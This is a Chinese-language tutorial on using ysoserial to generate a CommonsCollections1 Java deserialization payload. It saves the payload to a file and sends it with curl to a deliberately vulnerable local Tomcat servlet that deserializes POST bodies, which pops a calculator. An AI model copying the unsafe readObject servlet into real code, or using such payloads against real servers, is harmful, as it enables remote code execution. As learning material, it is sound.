Ysoserial学习

简介

之前没有学习过Java,所以不太了解Java相关漏洞,因此打算通过ysoserial这个工具学习一下,ysoserial集合了各种Java反序列化payload,上手也比较容易。

github地址:https://github.com/frohoff/ysoserial

Ysoserial环境配置

git clone到本地之后通过IDEA打开。因为ysoserial项目是通过Maven搭建的,因此相关依赖也通过Maven下载配置。

依赖配置完成之后,运行项目的主函数,地址在

ysoserial/src/main/java/ysoserial/GeneratePayload.main()

1

我们也可以通过IDEAysoserial添加参数,例如通过CommonsCollections1执行弹计算器的命令。

2

执行GeneratePayload.java如下图所示,这样我们就得到了序列化后的字符串。

3

测试的时候我们可以将这段payload发送出去,但是由于是序列化的文件,因此我们需要将序列化后的字符串保存到一个二进制文件中。

我们知道,在序列化的时候,程序会执行writeObject()方法,因此我们可以在writeObject()之后将数据保存。因此可以定位到如下这段代码

4

Serializer.serialize()中执行了writeObject()方法

5

因此我们在writeObject()方法后,写入保存序列化文件的代码

1
2
3
4
5
6
7
8
9
try {
FileOutputStream fout = new FileOutputStream("/YourPath/payload.ser");
ObjectOutputStream ot = new ObjectOutputStream(fout);
ot.writeObject(obj);
ot.close();
fout.close();
} catch (FileNotFoundException fnfe){
System.out.println("payload not found");
}

6

之后再次运行GeneratePayload.java,则会在指定的路径下生成payload.ser文件

7

WebServer配置

版本说明
1
2
tomcat:8.5.73
jdk:1.7
Web.xml配置
1
2
3
4
5
6
7
8
<servlet>
<servlet-name>DemoServlet</servlet-name>
<servlet-class>demotest.DemoServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DemoServlet</servlet-name>
<url-pattern>/demotest</url-pattern>
</servlet-mapping>
相关包的引入

WEB-INF/lib下导入CommonsCollections3.1.jar

Tomcat配置

8

处理请求

POST请求的数据执行反序列化操作,处理代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package demotest;

import javax.servlet.ServletInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;

public class DemoServlet extends javax.servlet.http.HttpServlet{
protected void doPost(javax.servlet.http.HttpServletRequest request,javax.servlet.http.HttpServletResponse response) throws IOException {
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
try {
ois.readObject();
} catch (ClassNotFoundException e){
e.printStackTrace();
}
ois.close();
}

protected void doGet(javax.servlet.http.HttpServletRequest request,javax.servlet.http.HttpServletResponse response) throws IOException {
PrintWriter out = response.getWriter();
out.println("This is a demo");
}
}
启动服务

9

10

CC1 Payload测试

使用curl命令向服务器发送post请求,将前面生成的payload.ser发送到服务器

1
curl http://localhost:8080/demotest --data-binary @/Users/caoyifan/payload.ser
1
2
3
4
5
--data-binary <data>
(HTTP) This posts data exactly as specified with no extra processing whatsoever.
If you start the data with the letter @, the rest should be a filename. Data is
posted in a similar manner as --data-ascii does, except that newlines are preserved
and conversions are never done.

成功执行弹计算器的命令

11